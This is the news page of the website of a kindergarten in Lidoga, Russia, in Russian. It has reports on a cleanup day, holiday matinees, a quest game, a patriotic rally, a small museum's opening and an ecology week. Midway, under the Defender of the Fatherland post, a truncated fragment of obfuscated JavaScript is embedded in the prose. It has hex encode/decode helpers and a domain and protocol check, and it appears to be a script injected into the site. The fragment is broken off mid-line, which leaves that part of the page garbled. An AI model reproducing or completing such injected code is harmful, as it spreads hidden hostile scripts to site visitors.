МАДОУ "Детский сад с.Лидога"

официальный сайт

Экологический субботник в ДОУ

Осень — пора уборки урожая, подготовки растений к зиме, очистки клумб, генеральной уборки территорий. День субботника, 5 октября 2017 года, выдался солнечным, теплым, благоприятным во всех отношениях. В назначенный час, все сотрудники и дети,  вышли на субботник и  работа закипела. Все дружно взялись за дело:  очистили огороды на участках и клумбы от высохших растений, собрали последний  урожай моркови, свеклы и помидор. Наши детки также принимали посильное участие в субботнике. Они с удовольствием выносили старые растения в большую кучу, собирали семена бархатцев, сгребали сухие листья. После субботника хорошо покушали и уснули сладким сном. Участки убраны, дети и сотрудники довольны. Все потрудились на славу.

Наш не большой фото — отчет:

No Comments »

Утренник «День Осени». В гостях у Маши и Дуняши.

Очень зрелищный, интересный и веселый праздник «День Осени» получился в нашем детском саду. Спасибо большое  музыкальному руководителю.Отдельное спасибо за талантливое исполнение ролей педагогическому составу. Они прекрасно исполнили роли Маши и Дуняши. Много проводилось игр, соревнований. Пели песни об осени, рассказывали стихи, танцевали. И родители, и дети остались довольны.

Ссылка на фото — отчет: http://mdou-lidoga.obrnan.ru/fotogalereya/v-gostyah-u-mashi-i-dunyashi

No Comments »

Утренник «День воспитателя»

27 сентября в нашем детском саду прошел утренник посвященный ДНЮ ДОШКОЛЬНОГО РАБОТНИКА. Дети  пели частушки, рассказывали стихи, танцевали и пели песни для работников детского сада. Очень понравилось заинтересованность детей и их стремление участвовать в этом празднике. Дети воспринимали себя полноценными участниками представления.  Сотрудники и дети остались  очень довольны праздником. Спасибо большое музыкальному руководителю, Светлане Николаевне, за такой прекрасный утренник! Вот ссылка на наш праздник  http://mdou-lidoga.obrnan.ru/fotogalereya/utrennik-den-doshkolnogo-rabotnika

No Comments »

Веселый утренник «День знаний»

Седьмого сентября  в МАДОУ «Детский сад с. Лидога» состоялся праздник, посвященный Дню Знаний. Приглашены были  дети  средней, старшей  и подготовительной групп. Вместе с гостями праздника – сказочными персонажами котом Леопольдом и Бабой Ягой,  ребята танцевали, отгадывали загадки, читали стихи, участвовали в эстафетах, веселились. Гости праздника подарили детям подарки и сфотографировались на память.

Небольшой фото — отчет можно посмотреть здесь   ⇒ http://mdou-lidoga.obrnan.ru/fotogalereya/den-znaniy

Подготовила запись, воспитатель: Павленко Е.Н.

No Comments »

Большое спасибо родителям что поддержали акцию и прошли с детьми вместе с бессмертным полком!

No Comments »

День защитников Отечества.

Сегодня, в нашем детском саду, прошли развлечения ко дню защитников Отечества. Но, это были не простые развлечения, а в виде квест-игры! Так как важнейшими элементами квест-игры являются повествование и постановка проблем, то ключевую роль в игровом процессе играют решение  головоломок и задач. Вот и наша квест — игра была основана на этом. В начале дети в музыкальном зале прошли маршем, пели песни, танцевали, рассказывали стихи и, конечно же, подкрепились солдатской кашей. Затем дружно пошли на улицу. Там их уже ожидали Ясон и Амазонка. Они рассказали детям о древнегреческих героях и предложили зайти на корабль, чтобы отправиться в плаванье по истории… Переплывали с одного острова на другой, и везде их ждало испытание. Они сумели победить Гидру, Горгону. Прошли тяжелое испытание с помощью пояса Ипполиты. Добрались до лабиринта Минитавра. Но и его дети не испугались, потому что Ариадна со своей золотой нитью сумела вывести их из лабиринта. А по дороге нашли «золотое руно». Кажется, кончилось их испытание, но не тут то было… Корабль Ясона вмерз во льды, как вернуться домой? Но и тут, дети нашли выход. Самые смелые и ловкие,  растопили лед своей жаркой игрой в хоккей.

В группу дети зашли утомленные но  непобедимые! Сколько впечатлений, эмоций, рассказов услышали родители, придя вечером за своими чадами. Все дружно решили — чаще практиковать квест-игру!

 

 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "mdou-lidoga.obrnan.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

No Comments »

Автопробег в честь 70 летия ПОБЕДЫ

 

Вчера,  23 апреля, в нашем селе останавливались участники автопробега в честь 70  летия ПОБЕДЫ над фашистской Германией. Подготовительная группа, с целью воспитания чувства патриотизма, тоже посетила митинг. Они с большой серьезностью отнеслись к данному мероприятию. Они, как маленькие патриоты своей Родины,   стойко и торжественно выстояли минуту молчания. После,  долго обсуждали этот митинг и были горды тем,  что присутствовали на таком серьёзном мероприятии.

CIMG4244

No Comments »

«В гостях у Евражки»

Открытие музея «В гостях у Евражки»

Дошкольнику о музейной культуре.

Слово  «музей» в переводе с греческого museion означает храм, в котором живут музы.

24 января 2014  музы поселились  и в детском саду Лидогинского сельского поселения.

В нашем музее нет ковровых дорожек и дорогих паркетов, здесь не предложат специальную музейную обувь. Экскурсанты шумные и не умеющие скрывать свои эмоции. Самый главный способ обследования музейных экспонатов у них — это скорее взять в руки, погладить, а уже потом внимательно рассмотреть удивительного пришельца.

Создание музейных экспозиций тесно связано с частным коллекционированием. Первыми экспонатами  нашего музея стали веточки, корни, коряги  которые после незначительной обработки  автора-Колосова О.А. превратились в птиц, оленей, таинственных героев, пришедших из сказочного леса. А пригласил этих лесных обитателей на встречу с детьми герой нанайской сказки «Евражка». Теперь «Евражка»-экскурсовод, будет помогать воспитателям детского сада, знакомить детей с предметами быта, декоративно-прикладного искусства народов НАНИ, национальными традициями. Дети познакомятся с произведениями Дальневосточных писателей и художников.

Интересной формой  ознакомления детей с экспозициями музея является музейный урок или занятие. Занятие в музее проводится с целью усвоения детьми знаний по определенной теме. При этом музейные экспонаты  выступают как наглядные источники знаний. В ходе занятия педагог широко использует игровые приемы: воображаемые путешествия по времени, игры-имитации, эскизы вещественных источников для последующего творческого воссоздания и т.п. в рамках такого занятия могут проводиться музейные викторины, конкурсы, олимпиады. Целесообразно использовать театрализацию, это позволит закрепить материал в яркой художественной форме. Подготовка инсценировок стимулирует познавательную потребность ребенка.

Музейные праздники – это комплексная форма работы, включающая элементы театрализации, экскурсии, музыкально-литературные композиции, викторины и пр.

Мы надеемся, что у нашего музея появятся свои традиции и поклонники.

Наши фото — зарисовки открытия музея.

Разрезаем ленточку.             Панно по сказке "Евражка"

Фото1082             Фото1063

Как интереснооо!

Ст. воспитатель: Пильщикова Елена Алексеевна

No Comments »

Отчёт о проведении тематической недели экологического образования «Жить в согласии с природой»

На  основании приказа № 459 от 17 сентября 2013 года в  детском саду   с 23.09 по 27.09 была проведена тематическая неделя экологического образования

«Жить в согласии с природой».

Возрастная группа

Воспитатели

Мероприятия

1 младшая Цаплина А.Л.Старкина Н.Н. 1. Прогулка: «Листопад, листопад, листья желтые летят….».Цель: Показать детям многообразие красок золотой осени; раскрыть новое понятие «листопад».

2. Присутствовали:

— в старшей группе на экологической викторине «Амур — батюшка»;

— в подготовительной группе на развлечении по сказке «Евражка».

3. Присутствовали в закладке «Заповедного парка»  где будет мини- музей Нанайской культуры под открытым небом.

4. Провели беседу: «Как нужно заботиться о домашних животных ?».

Цель: Развивать у детей интерес к животным, формировать доброжелательное отношение к ним.

5. Организовали выставку детских рисунков «Золотая осень».

 

Средняя группа Григорьева О.С.Крылова Т.А.
  1. Проведены беседы с рассматриванием тематических иллюстраций.
  2. Организованы целевые прогулки: «Мы любим природу», «Наш дом — природа».
  3. Организовали выставку детских рисунков «Я и природа».
Старшая группа Минина И.В.Абрамова  Л.И.
  1. Проведен ряд тематических бесед: «Природа Дальнего Востока» , «Человек — друг и защитник природы», «Амур — батюшка», «Вода в жизни человека», «О здоровом образе жизни», «Кто с закалкой дружит — никогда не тужит».
  2. Совместно  с детьми  создан макет речного дна с различными видами рыб.

Цель:  формирование представлений о жизни рыб; научить детей беречь и охранять природу.

  1. Чтение  экологических сказок: «Как люди обидели речку», «Почему плакала речка».

4.   Наблюдение во время экскурсии «Река родная». Дети вспоминали, какой речка была весной и летом. Провели сравнительный анализ об изменениях в природе. Вспомнили правило поведения около водоемов.

5.    Просмотр поставленной, подготовительной группой, сказки «Евражка — богатырь».

6.    Провели экологическую викторину « Амур-батюшка».

Цель:  развитие познавательной, творческой и общественной активности детей.

7.   Организованы  выставки рисунков для родителей: «Родная природа», «Рыбы Амура».

8.    Изготовили с детьми разрезные картинки на тему «Рыбы».

9.    Провели субботник по уборке территории детского сада.

Цель: воспитание бережного отношения к природе, формирование у детей представления о взаимопомощи, дружбе, вызывать желание оказывать посильную помощь друг другу.

10.  С помощью родителей заложили «Заповедный парк», где посадили различные породы деревьев, трав и кустарников. В этом парке, под открытым небом, мы собираемся создать мини — музей нанайской культуры. Главная задача этого парка — пробудить любовь к природе, здесь дети смогут глубже и на наглядной основе изучать, любить и беречь природу, будут учиться оценивать воздействие человека на природу, будет воспитываться экологическая культура поведения детей, как часть общей культуры, взаимоотношений людей друг с другом и отношение человека к природе; познакомить детей с культурой нанайского народа, с предметами быта, одежды, домашней утвари, орудий труда.

 

Подгото-вительная группа Пильщикова Е.А.Машкина С.В.
  1. Работали над проектом «Амур-батюшка».

Цель: формирование познавательного интереса к родному краю, его природе, реке Амур.

  1. Познакомились с творчеством дальневосточных поэтов и писателей.
  2. Собрали библиотечку «Бурундука Стёпки».
  3. Слушали музыкальные призведения посвященные природе Дальнего Востока, реке Амур в исполнении хора Сретенского монастыря.
  4. Познакомились с обитателями реки Амур.
  5. Изготовили:

—  дидактические игры: «Рыбы реки Амур», «Хорошо-плохо», «Разрезные картинки», «Найди отличия», «Силуэтные картинки», «Угадай, чья тень?», «Что правильно нарисовал художник?», «Четвёртый лишний», «Расшифруй амурских рыб»;

— лабиринты: «Помоги красноперке спрятаться от щуки», «Покорми карасика»;

— кроссворды об амурских рыбах.

7. Рассматривали иллюстрации и картины с изображением реки Амур.

8.  Провели НОД: «Великий Амур-батюшка», «Подводные жители реки Амур», «Амур – природное сообщество», «Человек и Амур».

9. Приняли участие в выставке рисунка «Амур-батюшка».

10. В творческой мастерской из соленого теста лепили «Золотую рыбку».

11. Разучили подвижные игры: «Рыбы», «Рыбаки и рыбки», «Ловись, рыбка», «Водяной».

12. Приняли участие в медиа-путешествии «Ход лосося на нерест».

13. Организовали экскурсию к реке, где дети познакомились с трудом рыбаков и закрепили знания о речных рыбах.

14. Провели викторину «Амур-батюшка».

15. Провели развлечение «Евражка-богатырь».

16. Совместно с родителями оформили «Красную книгу Хабаровского края».

17. На территории ДОУ заложили «Заповедный парк».

 

 

 

 

No Comments »

Перейти к верхней панели